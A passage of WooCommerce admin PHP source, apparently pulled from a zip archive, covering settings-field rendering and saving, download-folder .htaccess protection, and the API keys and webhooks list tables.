							do_action( 'woocommerce_settings_' . sanitize_title( $value['id'] ) . '_after' );
						}
						break;

					// Standard text inputs and subtypes like 'number'.
					case 'text':
					case 'password':
					case 'datetime':
					case 'datetime-local':
					case 'date':
					case 'month':
					case 'time':
					case 'week':
					case 'number':
					case 'email':
					case 'url':
					case 'tel':
						$option_value = $value['value'];

						?><tr valign="top">
							<th scope="row" class="titledesc">
								<label for="<?php echo esc_attr( $value['id'] ); ?>"><?php echo esc_html( $value['title'] ); ?> <?php echo $tooltip_html; // WPCS: XSS ok. ?></label>
							</th>
							<td class="forminp forminp-<?php echo esc_attr( sanitize_title( $value['type'] ) ); ?>">
								<input
									name="<?php echo esc_attr( $value['id'] ); ?>"
									id="<?php echo esc_attr( $value['id'] ); ?>"
									type="<?php echo esc_attr( $value['type'] ); ?>"
									style="<?php echo esc_attr( $value['css'] ); ?>"
									value="<?php echo esc_attr( $option_value ); ?>"
									class="<?php echo esc_attr( $value['class'] ); ?>"
									placeholder="<?php echo esc_attr( $value['placeholder'] ); ?>"
									<?php echo implode( ' ', $custom_attributes ); // WPCS: XSS ok. ?>
									/><?php echo esc_html( $value['suffix'] ); ?> <?php echo $description; // WPCS: XSS ok. ?>
							</td>
						</tr>
						<?php
						break;

					// Color picker.
					case 'color':
						$option_value = $value['value'];

						?>
						<tr valign="top">
							<th scope="row" class="titledesc">
								<label for="<?php echo esc_attr( $value['id'] ); ?>"><?php echo esc_html( $value['title'] ); ?> <?php echo $tooltip_html; // WPCS: XSS ok. ?></label>
							</th>
							<td class="forminp forminp-<?php echo esc_attr( sanitize_title( $value['type'] ) ); ?>">&lrm;
								<span class="colorpickpreview" style="background: <?php echo esc_attr( $option_value ); ?>">&nbsp;</span>
								<input
									name="<?php echo esc_attr( $value['id'] ); ?>"
									id="<?php echo esc_attr( $value['id'] ); ?>"
									type="text"
									dir="ltr"
									style="<?php echo esc_attr( $value['css'] ); ?>"
									value="<?php echo esc_attr( $option_value ); ?>"
									class="<?php echo esc_attr( $value['class'] ); ?>colorpick"
									placeholder="<?php echo esc_attr( $value['placeholder'] ); ?>"
									<?php echo implode( ' ', $custom_attributes ); // WPCS: XSS ok. ?>
									/>&lrm; <?php echo $description; // WPCS: XSS ok. ?>
									<div id="colorPickerDiv_<?php echo esc_attr( $value['id'] ); ?>" class="colorpickdiv" style="z-index: 100;background:#eee;border:1px solid #ccc;position:absolute;display:none;"></div>
							</td>
						</tr>
						<?php
						break;

					// Textarea.
					case 'textarea':
						$option_value = $value['value'];

						?>
						<tr valign="top">
							<th scope="row" class="titledesc">
								<label for="<?php echo esc_attr( $value['id'] ); ?>"><?php echo esc_html( $value['title'] ); ?> <?php echo $tooltip_html; // WPCS: XSS ok. ?></label>
							</th>
							<td class="forminp forminp-<?php echo esc_attr( sanitize_title( $value['type'] ) ); ?>">
								<?php echo $description; // WPCS: XSS ok. ?>

								<textarea
									name="<?php echo esc_attr( $value['id'] ); ?>"
									id="<?php echo esc_attr( $value['id'] ); ?>"
									style="<?php echo esc_attr( $value['css'] ); ?>"
									class="<?php echo esc_attr( $value['class'] ); ?>"
									placeholder="<?php echo esc_attr( $value['placeholder'] ); ?>"
									<?php echo implode( ' ', $custom_attributes ); // WPCS: XSS ok. ?>
									><?php echo esc_textarea( $option_value ); // WPCS: XSS ok. ?></textarea>
							</td>
						</tr>
						<?php
						break;

					// Select boxes.
					case 'select':
					case 'multiselect':
						$option_value = $value['value'];

						?>
						<tr valign="top">
							<th scope="row" class="titledesc">
								<label for="<?php echo esc_attr( $value['id'] ); ?>"><?php echo esc_html( $value['title'] ); ?> <?php echo $tooltip_html; // WPCS: XSS ok. ?></label>
							</th>
							<td class="forminp forminp-<?php echo esc_attr( sanitize_title( $value['type'] ) ); ?>">
								<select
									name="<?php echo esc_attr( $value['id'] ); ?><?php echo ( 'multiselect' === $value['type'] ) ? '[]' : ''; ?>"
									id="<?php echo esc_attr( $value['id'] ); ?>"
									style="<?php echo esc_attr( $value['css'] ); ?>"
									class="<?php echo esc_attr( $value['class'] ); ?>"
									<?php echo implode( ' ', $custom_attributes ); // WPCS: XSS ok. ?>
									<?php echo 'multiselect' === $value['type'] ? 'multiple="multiple"' : ''; ?>
									>
									<?php
									foreach ( $value['options'] as $key => $val ) {
										?>
										<option value="<?php echo esc_attr( $key ); ?>"
											<?php

											if ( is_array( $option_value ) ) {
												selected( in_array( (string) $key, $option_value, true ), true );
											} else {
												selected( $option_value, (string) $key );
											}

											?>
										><?php echo esc_html( $val ); ?></option>
										<?php
									}
									?>
								</select> <?php echo $description; // WPCS: XSS ok. ?>
							</td>
						</tr>
						<?php
						break;

					// Radio inputs.
					case 'radio':
						$option_value = $value['value'];

						?>
						<tr valign="top">
							<th scope="row" class="titledesc">
								<label for="<?php echo esc_attr( $value['id'] ); ?>"><?php echo esc_html( $value['title'] ); ?> <?php echo $tooltip_html; // WPCS: XSS ok. ?></label>
							</th>
							<td class="forminp forminp-<?php echo esc_attr( sanitize_title( $value['type'] ) ); ?>">
								<fieldset>
									<?php echo $description; // WPCS: XSS ok. ?>
									<ul>
									<?php
									foreach ( $value['options'] as $key => $val ) {
										?>
										<li>
											<label><input
												name="<?php echo esc_attr( $value['id'] ); ?>"
												value="<?php echo esc_attr( $key ); ?>"
												type="radio"
												style="<?php echo esc_attr( $value['css'] ); ?>"
												class="<?php echo esc_attr( $value['class'] ); ?>"
												<?php echo implode( ' ', $custom_attributes ); // WPCS: XSS ok. ?>
												<?php checked( $key, $option_value ); ?>
												/> <?php echo esc_html( $val ); ?></label>
										</li>
										<?php
									}
									?>
									</ul>
								</fieldset>
							</td>
						</tr>
						<?php
						break;

					// Checkbox input.
					case 'checkbox':
						$option_value     = $value['value'];
						$visibility_class = array();

						if ( ! isset( $value['hide_if_checked'] ) ) {
							$value['hide_if_checked'] = false;
						}
						if ( ! isset( $value['show_if_checked'] ) ) {
							$value['show_if_checked'] = false;
						}
						if ( 'yes' === $value['hide_if_checked'] || 'yes' === $value['show_if_checked'] ) {
							$visibility_class[] = 'hidden_option';
						}
						if ( 'option' === $value['hide_if_checked'] ) {
							$visibility_class[] = 'hide_options_if_checked';
						}
						if ( 'option' === $value['show_if_checked'] ) {
							$visibility_class[] = 'show_options_if_checked';
						}

						if ( ! isset( $value['checkboxgroup'] ) || 'start' === $value['checkboxgroup'] ) {
							?>
								<tr valign="top" class="<?php echo esc_attr( implode( ' ', $visibility_class ) ); ?>">
									<th scope="row" class="titledesc"><?php echo esc_html( $value['title'] ); ?></th>
									<td class="forminp forminp-checkbox">
										<fieldset>
							<?php
						} else {
							?>
								<fieldset class="<?php echo esc_attr( implode( ' ', $visibility_class ) ); ?>">
							<?php
						}

						if ( ! empty( $value['title'] ) ) {
							?>
								<legend class="screen-reader-text"><span><?php echo esc_html( $value['title'] ); ?></span></legend>
							<?php
						}

						?>
							<label for="<?php echo esc_attr( $value['id'] ); ?>">
								<input
									name="<?php echo esc_attr( $value['id'] ); ?>"
									id="<?php echo esc_attr( $value['id'] ); ?>"
									type="checkbox"
									class="<?php echo esc_attr( isset( $value['class'] ) ? $value['class'] : '' ); ?>"
									value="1"
									<?php checked( $option_value, 'yes' ); ?>
									<?php echo implode( ' ', $custom_attributes ); // WPCS: XSS ok. ?>
								/> <?php echo $description; // WPCS: XSS ok. ?>
							</label> <?php echo $tooltip_html; // WPCS: XSS ok. ?>
						<?php

						if ( ! isset( $value['checkboxgroup'] ) || 'end' === $value['checkboxgroup'] ) {
							?>
										</fieldset>
									</td>
								</tr>
							<?php
						} else {
							?>
								</fieldset>
							<?php
						}
						break;

					// Image width settings. @todo deprecate and remove in 4.0. No longer needed by core.
					case 'image_width':
						$image_size       = str_replace( '_image_size', '', $value['id'] );
						$size             = wc_get_image_size( $image_size );
						$width            = isset( $size['width'] ) ? $size['width'] : $value['default']['width'];
						$height           = isset( $size['height'] ) ? $size['height'] : $value['default']['height'];
						$crop             = isset( $size['crop'] ) ? $size['crop'] : $value['default']['crop'];
						$disabled_attr    = '';
						$disabled_message = '';

						if ( has_filter( 'woocommerce_get_image_size_' . $image_size ) ) {
							$disabled_attr    = 'disabled="disabled"';
							$disabled_message = '<p><small>' . esc_html__( 'The settings of this image size have been disabled because its values are being overwritten by a filter.', 'woocommerce' ) . '</small></p>';
						}

						?>
						<tr valign="top">
							<th scope="row" class="titledesc">
							<label><?php echo esc_html( $value['title'] ); ?> <?php echo $tooltip_html . $disabled_message; // WPCS: XSS ok. ?></label>
						</th>
							<td class="forminp image_width_settings">

								<input name="<?php echo esc_attr( $value['id'] ); ?>[width]" <?php echo $disabled_attr; // WPCS: XSS ok. ?> id="<?php echo esc_attr( $value['id'] ); ?>-width" type="text" size="3" value="<?php echo esc_attr( $width ); ?>" /> &times; <input name="<?php echo esc_attr( $value['id'] ); ?>[height]" <?php echo $disabled_attr; // WPCS: XSS ok. ?> id="<?php echo esc_attr( $value['id'] ); ?>-height" type="text" size="3" value="<?php echo esc_attr( $height ); ?>" />px

								<label><input name="<?php echo esc_attr( $value['id'] ); ?>[crop]" <?php echo $disabled_attr; // WPCS: XSS ok. ?> id="<?php echo esc_attr( $value['id'] ); ?>-crop" type="checkbox" value="1" <?php checked( 1, $crop ); ?> /> <?php esc_html_e( 'Hard crop?', 'woocommerce' ); ?></label>

								</td>
						</tr>
						<?php
						break;

					// Single page selects.
					case 'single_select_page':
						$args = array(
							'name'             => $value['id'],
							'id'               => $value['id'],
							'sort_column'      => 'menu_order',
							'sort_order'       => 'ASC',
							'show_option_none' => ' ',
							'class'            => $value['class'],
							'echo'             => false,
							'selected'         => absint( $value['value'] ),
							'post_status'      => 'publish,private,draft',
						);

						if ( isset( $value['args'] ) ) {
							$args = wp_parse_args( $value['args'], $args );
						}

						?>
						<tr valign="top" class="single_select_page">
							<th scope="row" class="titledesc">
								<label><?php echo esc_html( $value['title'] ); ?> <?php echo $tooltip_html; // WPCS: XSS ok. ?></label>
							</th>
							<td class="forminp">
								<?php echo str_replace( ' id=', " data-placeholder='" . esc_attr__( 'Select a page&hellip;', 'woocommerce' ) . "' style='" . $value['css'] . "' class='" . $value['class'] . "' id=", wp_dropdown_pages( $args ) ); // WPCS: XSS ok. ?> <?php echo $description; // WPCS: XSS ok. ?>
							</td>
						</tr>
						<?php
						break;

					case 'single_select_page_with_search':
						$option_value = $value['value'];
						$page         = get_post( $option_value );

						if ( ! is_null( $page ) ) {
							$page                = get_post( $option_value );
							$option_display_name = sprintf(
								/* translators: 1: page name 2: page ID */
								__( '%1$s (ID: %2$s)', 'woocommerce' ),
								$page->post_title,
								$option_value
							);
						}
						?>
						<tr valign="top" class="single_select_page">
							<th scope="row" class="titledesc">
								<label for="<?php echo esc_attr( $value['id'] ); ?>"><?php echo esc_html( $value['title'] ); ?> <?php echo $tooltip_html; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped ?></label>
							</th>
							<td class="forminp forminp-<?php echo esc_attr( sanitize_title( $value['type'] ) ); ?>">
								<select
									name="<?php echo esc_attr( $value['id'] ); ?>"
									id="<?php echo esc_attr( $value['id'] ); ?>"
									style="<?php echo esc_attr( $value['css'] ); ?>"
									class="<?php echo esc_attr( $value['class'] ); ?>"
									<?php echo implode( ' ', $custom_attributes ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped ?>
									data-placeholder="<?php esc_attr_e( 'Search for a page&hellip;', 'woocommerce' ); ?>"
									data-allow_clear="true"
									data-exclude="<?php echo wc_esc_json( wp_json_encode( $value['args']['exclude'] ) ); ?>"
									>
									<option value=""></option>
									<?php if ( ! is_null( $page ) ) { ?>
										<option value="<?php echo esc_attr( $option_value ); ?>" selected="selected">
										<?php echo wp_strip_all_tags( $option_display_name ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped ?>
										</option>
									<?php } ?>
								</select> <?php echo $description; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped ?>
							</td>
						</tr>
						<?php
						break;

					// Single country selects.
					case 'single_select_country':
						$country_setting = (string) $value['value'];

						if ( strstr( $country_setting, ':' ) ) {
							$country_setting = explode( ':', $country_setting );
							$country         = current( $country_setting );
							$state           = end( $country_setting );
						} else {
							$country = $country_setting;
							$state   = '*';
						}
						?>
						<tr valign="top">
							<th scope="row" class="titledesc">
								<label for="<?php echo esc_attr( $value['id'] ); ?>"><?php echo esc_html( $value['title'] ); ?> <?php echo $tooltip_html; // WPCS: XSS ok. ?></label>
							</th>
							<td class="forminp"><select name="<?php echo esc_attr( $value['id'] ); ?>" style="<?php echo esc_attr( $value['css'] ); ?>" data-placeholder="<?php esc_attr_e( 'Choose a country / region&hellip;', 'woocommerce' ); ?>" aria-label="<?php esc_attr_e( 'Country / Region', 'woocommerce' ); ?>" class="wc-enhanced-select">
								<?php WC()->countries->country_dropdown_options( $country, $state ); ?>
							</select> <?php echo $description; // WPCS: XSS ok. ?>
							</td>
						</tr>
						<?php
						break;

					// Country multiselects.
					case 'multi_select_countries':
						$selections = (array) $value['value'];

						if ( ! empty( $value['options'] ) ) {
							$countries = $value['options'];
						} else {
							$countries = WC()->countries->countries;
						}

						asort( $countries );
						?>
						<tr valign="top">
							<th scope="row" class="titledesc">
								<label for="<?php echo esc_attr( $value['id'] ); ?>"><?php echo esc_html( $value['title'] ); ?> <?php echo $tooltip_html; // WPCS: XSS ok. ?></label>
							</th>
							<td class="forminp">
								<select multiple="multiple" name="<?php echo esc_attr( $value['id'] ); ?>[]" style="width:350px" data-placeholder="<?php esc_attr_e( 'Choose countries / regions&hellip;', 'woocommerce' ); ?>" aria-label="<?php esc_attr_e( 'Country / Region', 'woocommerce' ); ?>" class="wc-enhanced-select">
									<?php
									if ( ! empty( $countries ) ) {
										foreach ( $countries as $key => $val ) {
											echo '<option value="' . esc_attr( $key ) . '"' . wc_selected( $key, $selections ) . '>' . esc_html( $val ) . '</option>'; // WPCS: XSS ok.
										}
									}
									?>
								</select> <?php echo ( $description ) ? $description : ''; // WPCS: XSS ok. ?> <br /><a class="select_all button" href="#"><?php esc_html_e( 'Select all', 'woocommerce' ); ?></a> <a class="select_none button" href="#"><?php esc_html_e( 'Select none', 'woocommerce' ); ?></a>
							</td>
						</tr>
						<?php
						break;

					// Days/months/years selector.
					case 'relative_date_selector':
						$periods      = array(
							'days'   => __( 'Day(s)', 'woocommerce' ),
							'weeks'  => __( 'Week(s)', 'woocommerce' ),
							'months' => __( 'Month(s)', 'woocommerce' ),
							'years'  => __( 'Year(s)', 'woocommerce' ),
						);
						$option_value = wc_parse_relative_date_option( $value['value'] );
						?>
						<tr valign="top">
							<th scope="row" class="titledesc">
								<label for="<?php echo esc_attr( $value['id'] ); ?>"><?php echo esc_html( $value['title'] ); ?> <?php echo $tooltip_html; // WPCS: XSS ok. ?></label>
							</th>
							<td class="forminp">
							<input
									name="<?php echo esc_attr( $value['id'] ); ?>[number]"
									id="<?php echo esc_attr( $value['id'] ); ?>"
									type="number"
									style="width: 80px;"
									value="<?php echo esc_attr( $option_value['number'] ); ?>"
									class="<?php echo esc_attr( $value['class'] ); ?>"
									placeholder="<?php echo esc_attr( $value['placeholder'] ); ?>"
									step="1"
									min="1"
									<?php echo implode( ' ', $custom_attributes ); // WPCS: XSS ok. ?>
								/>&nbsp;
								<select name="<?php echo esc_attr( $value['id'] ); ?>[unit]" style="width: auto;">
									<?php
									foreach ( $periods as $value => $label ) {
										echo '<option value="' . esc_attr( $value ) . '"' . selected( $option_value['unit'], $value, false ) . '>' . esc_html( $label ) . '</option>';
									}
									?>
								</select> <?php echo ( $description ) ? $description : ''; // WPCS: XSS ok. ?>
							</td>
						</tr>
						<?php
						break;

					// Default: run an action.
					default:
						do_action( 'woocommerce_admin_field_' . $value['type'], $value );
						break;
				}
			}
		}

		/**
		 * Helper function to get the formatted description and tip HTML for a
		 * given form field. Plugins can call this when implementing their own custom
		 * settings types.
		 *
		 * @param  array $value The form field value array.
		 * @return array The description and tip as a 2 element array.
		 */
		public static function get_field_description( $value ) {
			$description  = '';
			$tooltip_html = '';

			if ( true === $value['desc_tip'] ) {
				$tooltip_html = $value['desc'];
			} elseif ( ! empty( $value['desc_tip'] ) ) {
				$description  = $value['desc'];
				$tooltip_html = $value['desc_tip'];
			} elseif ( ! empty( $value['desc'] ) ) {
				$description = $value['desc'];
			}

			if ( $description && in_array( $value['type'], array( 'textarea', 'radio' ), true ) ) {
				$description = '<p style="margin-top:0">' . wp_kses_post( $description ) . '</p>';
			} elseif ( $description && in_array( $value['type'], array( 'checkbox' ), true ) ) {
				$description = wp_kses_post( $description );
			} elseif ( $description ) {
				$description = '<p class="description">' . wp_kses_post( $description ) . '</p>';
			}

			if ( $tooltip_html && in_array( $value['type'], array( 'checkbox' ), true ) ) {
				$tooltip_html = '<p class="description">' . $tooltip_html . '</p>';
			} elseif ( $tooltip_html ) {
				$tooltip_html = wc_help_tip( $tooltip_html );
			}

			return array(
				'description'  => $description,
				'tooltip_html' => $tooltip_html,
			);
		}

		/**
		 * Save admin fields.
		 *
		 * Loops through the woocommerce options array and outputs each field.
		 *
		 * @param array $options Options array to output.
		 * @param array $data    Optional. Data to use for saving. Defaults to $_POST.
		 * @return bool
		 */
		public static function save_fields( $options, $data = null ) {
			if ( is_null( $data ) ) {
				$data = $_POST; // WPCS: input var okay, CSRF ok.
			}
			if ( empty( $data ) ) {
				return false;
			}

			// Options to update will be stored here and saved later.
			$update_options   = array();
			$autoload_options = array();

			// Loop options and get values to save.
			foreach ( $options as $option ) {
				if ( ! isset( $option['id'] ) || ! isset( $option['type'] ) || ( isset( $option['is_option'] ) && false === $option['is_option'] ) ) {
					continue;
				}

				// Get posted value.
				if ( strstr( $option['id'], '[' ) ) {
					parse_str( $option['id'], $option_name_array );
					$option_name  = current( array_keys( $option_name_array ) );
					$setting_name = key( $option_name_array[ $option_name ] );
					$raw_value    = isset( $data[ $option_name ][ $setting_name ] ) ? wp_unslash( $data[ $option_name ][ $setting_name ] ) : null;
				} else {
					$option_name  = $option['id'];
					$setting_name = '';
					$raw_value    = isset( $data[ $option['id'] ] ) ? wp_unslash( $data[ $option['id'] ] ) : null;
				}

				// Format the value based on option type.
				switch ( $option['type'] ) {
					case 'checkbox':
						$value = '1' === $raw_value || 'yes' === $raw_value ? 'yes' : 'no';
						break;
					case 'textarea':
						$value = wp_kses_post( trim( $raw_value ) );
						break;
					case 'multiselect':
					case 'multi_select_countries':
						$value = array_filter( array_map( 'wc_clean', (array) $raw_value ) );
						break;
					case 'image_width':
						$value = array();
						if ( isset( $raw_value['width'] ) ) {
							$value['width']  = wc_clean( $raw_value['width'] );
							$value['height'] = wc_clean( $raw_value['height'] );
							$value['crop']   = isset( $raw_value['crop'] ) ? 1 : 0;
						} else {
							$value['width']  = $option['default']['width'];
							$value['height'] = $option['default']['height'];
							$value['crop']   = $option['default']['crop'];
						}
						break;
					case 'select':
						$allowed_values = empty( $option['options'] ) ? array() : array_map( 'strval', array_keys( $option['options'] ) );
						if ( empty( $option['default'] ) && empty( $allowed_values ) ) {
							$value = null;
							break;
						}
						$default = ( empty( $option['default'] ) ? $allowed_values[0] : $option['default'] );
						$value   = in_array( $raw_value, $allowed_values, true ) ? $raw_value : $default;
						break;
					case 'relative_date_selector':
						$value = wc_parse_relative_date_option( $raw_value );
						break;
					default:
						$value = wc_clean( $raw_value );
						break;
				}

				/**
				 * Fire an action when a certain 'type' of field is being saved.
				 *
				 * @deprecated 2.4.0 - doesn't allow manipulation of values!
				 */
				if ( has_action( 'woocommerce_update_option_' . sanitize_title( $option['type'] ) ) ) {
					wc_deprecated_function( 'The woocommerce_update_option_X action', '2.4.0', 'woocommerce_admin_settings_sanitize_option filter' );
					do_action( 'woocommerce_update_option_' . sanitize_title( $option['type'] ), $option );
					continue;
				}

				/**
				 * Sanitize the value of an option.
				 *
				 * @since 2.4.0
				 */
				$value = apply_filters( 'woocommerce_admin_settings_sanitize_option', $value, $option, $raw_value );

				/**
				 * Sanitize the value of an option by option name.
				 *
				 * @since 2.4.0
				 */
				$value = apply_filters( "woocommerce_admin_settings_sanitize_option_$option_name", $value, $option, $raw_value );

				if ( is_null( $value ) ) {
					continue;
				}

				// Check if option is an array and handle that differently to single values.
				if ( $option_name && $setting_name ) {
					if ( ! isset( $update_options[ $option_name ] ) ) {
						$update_options[ $option_name ] = get_option( $option_name, array() );
					}
					if ( ! is_array( $update_options[ $option_name ] ) ) {
						$update_options[ $option_name ] = array();
					}
					$update_options[ $option_name ][ $setting_name ] = $value;
				} else {
					$update_options[ $option_name ] = $value;
				}

				$autoload_options[ $option_name ] = isset( $option['autoload'] ) ? (bool) $option['autoload'] : true;

				/**
				 * Fire an action before saved.
				 *
				 * @deprecated 2.4.0 - doesn't allow manipulation of values!
				 */
				do_action( 'woocommerce_update_option', $option );
			}

			// Save all options in our array.
			foreach ( $update_options as $name => $value ) {
				update_option( $name, $value, $autoload_options[ $name ] ? 'yes' : 'no' );
			}

			return true;
		}

		/**
		 * Checks which method we're using to serve downloads.
		 *
		 * If using force or x-sendfile, this ensures the .htaccess is in place.
		 */
		public static function check_download_folder_protection() {
			$upload_dir      = wp_get_upload_dir();
			$downloads_path  = $upload_dir['basedir'] . '/woocommerce_uploads';
			$download_method = get_option( 'woocommerce_file_download_method' );
			$file_path       = $downloads_path . '/.htaccess';
			$file_content    = 'redirect' === $download_method ? 'Options -Indexes' : 'deny from all';
			$create          = false;

			if ( wp_mkdir_p( $downloads_path ) && ! file_exists( $file_path ) ) {
				$create = true;
			} else {
				$current_content = @file_get_contents( $file_path ); // phpcs:ignore WordPress.PHP.NoSilencedErrors.Discouraged, WordPress.WP.AlternativeFunctions.file_get_contents_file_get_contents

				if ( $current_content !== $file_content ) {
					unlink( $file_path );
					$create = true;
				}
			}

			if ( $create ) {
				$file_handle = @fopen( $file_path, 'wb' ); // phpcs:ignore WordPress.PHP.NoSilencedErrors.Discouraged, WordPress.WP.AlternativeFunctions.file_system_read_fopen
				if ( $file_handle ) {
					fwrite( $file_handle, $file_content ); // phpcs:ignore WordPress.WP.AlternativeFunctions.file_system_read_fwrite
					fclose( $file_handle ); // phpcs:ignore WordPress.WP.AlternativeFunctions.file_system_read_fclose
				}
			}
		}
	}

endif;
PK�3\��xHH&class-wc-admin-api-keys-table-list.phpnu�[���<?php
/**
 * WooCommerce API Keys Table List
 *
 * @package WooCommerce\Admin
 * @version 2.4.0
 */

defined( 'ABSPATH' ) || exit;

if ( ! class_exists( 'WP_List_Table' ) ) {
	require_once ABSPATH . 'wp-admin/includes/class-wp-list-table.php';
}

/**
 * API Keys table list class.
 */
class WC_Admin_API_Keys_Table_List extends WP_List_Table {

	/**
	 * Initialize the API key table list.
	 */
	public function __construct() {
		parent::__construct(
			array(
				'singular' => 'key',
				'plural'   => 'keys',
				'ajax'     => false,
			)
		);
	}

	/**
	 * No items found text.
	 */
	public function no_items() {
		esc_html_e( 'No keys found.', 'woocommerce' );
	}

	/**
	 * Get list columns.
	 *
	 * @return array
	 */
	public function get_columns() {
		return array(
			'cb'            => '<input type="checkbox" />',
			'title'         => __( 'Description', 'woocommerce' ),
			'truncated_key' => __( 'Consumer key ending in', 'woocommerce' ),
			'user'          => __( 'User', 'woocommerce' ),
			'permissions'   => __( 'Permissions', 'woocommerce' ),
			'last_access'   => __( 'Last access', 'woocommerce' ),
		);
	}

	/**
	 * Column cb.
	 *
	 * @param  array $key Key data.
	 * @return string
	 */
	public function column_cb( $key ) {
		return sprintf( '<input type="checkbox" name="key[]" value="%1$s" />', $key['key_id'] );
	}

	/**
	 * Return title column.
	 *
	 * @param  array $key Key data.
	 * @return string
	 */
	public function column_title( $key ) {
		$url     = admin_url( 'admin.php?page=wc-settings&tab=advanced&section=keys&edit-key=' . $key['key_id'] );
		$user_id = intval( $key['user_id'] );

		// Check if current user can edit other users or if it's the same user.
		$can_edit = current_user_can( 'edit_user', $user_id ) || get_current_user_id() === $user_id;

		$output = '<strong>';
		if ( $can_edit ) {
			$output .= '<a href="' . esc_url( $url ) . '" class="row-title">';
		}
		if ( empty( $key['description'] ) ) {
			$output .= esc_html__( 'API key', 'woocommerce' );
		} else {
			$output .= esc_html( $key['description'] );
		}
		if ( $can_edit ) {
			$output .= '</a>';
		}
		$output .= '</strong>';

		// Get actions.
		$actions = array(
			/* translators: %s: API key ID. */
			'id' => sprintf( __( 'ID: %d', 'woocommerce' ), $key['key_id'] ),
		);

		if ( $can_edit ) {
			$actions['edit']  = '<a href="' . esc_url( $url ) . '">' . __( 'View/Edit', 'woocommerce' ) . '</a>';
			$actions['trash'] = '<a class="submitdelete" aria-label="' . esc_attr__( 'Revoke API key', 'woocommerce' ) . '" href="' . esc_url(
				wp_nonce_url(
					add_query_arg(
						array(
							'revoke-key' => $key['key_id'],
						),
						admin_url( 'admin.php?page=wc-settings&tab=advanced&section=keys' )
					),
					'revoke'
				)
			) . '">' . esc_html__( 'Revoke', 'woocommerce' ) . '</a>';
		}

		$row_actions = array();

		foreach ( $actions as $action => $link ) {
			$row_actions[] = '<span class="' . esc_attr( $action ) . '">' . $link . '</span>';
		}

		$output .= '<div class="row-actions">' . implode( ' | ', $row_actions ) . '</div>';

		return $output;
	}

	/**
	 * Return truncated consumer key column.
	 *
	 * @param  array $key Key data.
	 * @return string
	 */
	public function column_truncated_key( $key ) {
		return '<code>&hellip;' . esc_html( $key['truncated_key'] ) . '</code>';
	}

	/**
	 * Return user column.
	 *
	 * @param  array $key Key data.
	 * @return string
	 */
	public function column_user( $key ) {
		$user = get_user_by( 'id', $key['user_id'] );

		if ( ! $user ) {
			return '';
		}

		if ( current_user_can( 'edit_user', $user->ID ) ) {
			return '<a href="' . esc_url( add_query_arg( array( 'user_id' => $user->ID ), admin_url( 'user-edit.php' ) ) ) . '">' . esc_html( $user->display_name ) . '</a>';
		}

		return esc_html( $user->display_name );
	}

	/**
	 * Return permissions column.
	 *
	 * @param  array $key Key data.
	 * @return string
	 */
	public function column_permissions( $key ) {
		$permission_key = $key['permissions'];
		$permissions    = array(
			'read'       => __( 'Read', 'woocommerce' ),
			'write'      => __( 'Write', 'woocommerce' ),
			'read_write' => __( 'Read/Write', 'woocommerce' ),
		);

		if ( isset( $permissions[ $permission_key ] ) ) {
			return esc_html( $permissions[ $permission_key ] );
		} else {
			return '';
		}
	}

	/**
	 * Return last access column.
	 *
	 * @param  array $key Key data.
	 * @return string
	 */
	public function column_last_access( $key ) {
		if ( ! empty( $key['last_access'] ) ) {
			/* translators: 1: last access date 2: last access time */
			$date = sprintf( __( '%1$s at %2$s', 'woocommerce' ), date_i18n( wc_date_format(), strtotime( $key['last_access'] ) ), date_i18n( wc_time_format(), strtotime( $key['last_access'] ) ) );

			return apply_filters( 'woocommerce_api_key_last_access_datetime', $date, $key['last_access'] );
		}

		return __( 'Unknown', 'woocommerce' );
	}

	/**
	 * Get bulk actions.
	 *
	 * @return array
	 */
	protected function get_bulk_actions() {
		if ( ! current_user_can( 'remove_users' ) ) {
			return array();
		}

		return array(
			'revoke' => __( 'Revoke', 'woocommerce' ),
		);
	}

	/**
	 * Search box.
	 *
	 * @param  string $text     Button text.
	 * @param  string $input_id Input ID.
	 */
	public function search_box( $text, $input_id ) {
		if ( empty( $_REQUEST['s'] ) && ! $this->has_items() ) { // WPCS: input var okay, CSRF ok.
			return;
		}

		$input_id     = $input_id . '-search-input';
		$search_query = isset( $_REQUEST['s'] ) ? sanitize_text_field( wp_unslash( $_REQUEST['s'] ) ) : ''; // WPCS: input var okay, CSRF ok.

		echo '<p class="search-box">';
		echo '<label class="screen-reader-text" for="' . esc_attr( $input_id ) . '">' . esc_html( $text ) . ':</label>';
		echo '<input type="search" id="' . esc_attr( $input_id ) . '" name="s" value="' . esc_attr( $search_query ) . '" />';
		submit_button(
			$text,
			'',
			'',
			false,
			array(
				'id' => 'search-submit',
			)
		);
		echo '</p>';
	}

	/**
	 * Prepare table list items.
	 */
	public function prepare_items() {
		global $wpdb;

		$per_page     = $this->get_items_per_page( 'woocommerce_keys_per_page' );
		$current_page = $this->get_pagenum();

		if ( 1 < $current_page ) {
			$offset = $per_page * ( $current_page - 1 );
		} else {
			$offset = 0;
		}

		$search = '';

		if ( ! empty( $_REQUEST['s'] ) ) { // WPCS: input var okay, CSRF ok.
			$search = "AND description LIKE '%" . esc_sql( $wpdb->esc_like( wc_clean( wp_unslash( $_REQUEST['s'] ) ) ) ) . "%' "; // WPCS: input var okay, CSRF ok.
		}

		// Get the API keys.
		$keys = $wpdb->get_results(
			"SELECT key_id, user_id, description, permissions, truncated_key, last_access FROM {$wpdb->prefix}woocommerce_api_keys WHERE 1 = 1 {$search}" .
			$wpdb->prepare( 'ORDER BY key_id DESC LIMIT %d OFFSET %d;', $per_page, $offset ),
			ARRAY_A
		); // WPCS: unprepared SQL ok.

		$count = $wpdb->get_var( "SELECT COUNT(key_id) FROM {$wpdb->prefix}woocommerce_api_keys WHERE 1 = 1 {$search};" ); // WPCS: unprepared SQL ok.

		$this->items = $keys;

		// Set the pagination.
		$this->set_pagination_args(
			array(
				'total_items' => $count,
				'per_page'    => $per_page,
				'total_pages' => ceil( $count / $per_page ),
			)
		);
	}
}
PK�3\8����#�#&class-wc-admin-webhooks-table-list.phpnu�[���<?php
/**
 * WooCommerce Webhooks Table List
 *
 * @package WooCommerce\Admin
 * @version 3.3.0
 */

defined( 'ABSPATH' ) || exit;

if ( ! class_exists( 'WP_List_Table' ) ) {
	require_once ABSPATH . 'wp-admin/includes/class-wp-list-table.php';
}

/**
 * Webooks table list class.
 */
class WC_Admin_Webhooks_Table_List extends WP_List_Table {

	/**
	 * Initialize the webhook table list.
	 */
	public function __construct() {
		parent::__construct(
			array(
				'singular' => 'webhook',
				'plural'   => 'webhooks',
